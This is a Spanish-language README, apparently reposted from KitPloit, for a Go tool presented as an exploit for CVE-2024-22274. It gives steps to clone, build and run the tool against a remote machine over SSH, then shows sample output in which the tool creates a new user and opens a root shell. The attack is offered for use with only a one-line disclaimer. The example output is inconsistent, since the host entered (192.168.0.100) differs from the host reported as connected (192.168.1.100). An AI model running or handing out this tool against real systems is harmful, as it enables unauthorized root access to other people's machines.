Exploit CVE-2024-22274

Este repositorio contiene un exploit para CVE-2024-22274. El exploit crea un nuevo usuario en una máquina remota a través de SSH y luego proporciona una shell root.

Requisitos

• Go (Golang) instalado en tu máquina. Puedes descargarlo desde aquí.
• Una máquina remota con acceso SSH.

Compilación

1. Clona el repositorio:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. Instala los paquetes necesarios:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Compila el programa Go:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

Uso

1. Ejecuta el programa compilado:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. Sigue las indicaciones:

   • Ingresa la dirección del host de la máquina objetivo.
   • Ingresa el puerto SSH (el valor predeterminado es 22).
   • Ingresa el nombre de usuario SSH de la máquina objetivo.
   • Ingresa la contraseña SSH de la máquina objetivo.
   • Ingresa el nuevo nombre de usuario que deseas crear.
   • Ingresa la nueva contraseña para el nuevo usuario.

3. Después de que se cree el usuario, obtendrás una shell root en la máquina objetivo. Puedes ejecutar comandos como el nuevo usuario.

Ejemplo

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

Descargo de responsabilidad Este código es solo para fines educativos. Úsalo de manera responsable y únicamente en sistemas en los que tengas permiso para realizar pruebas.

Licencia Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para obtener más detalles.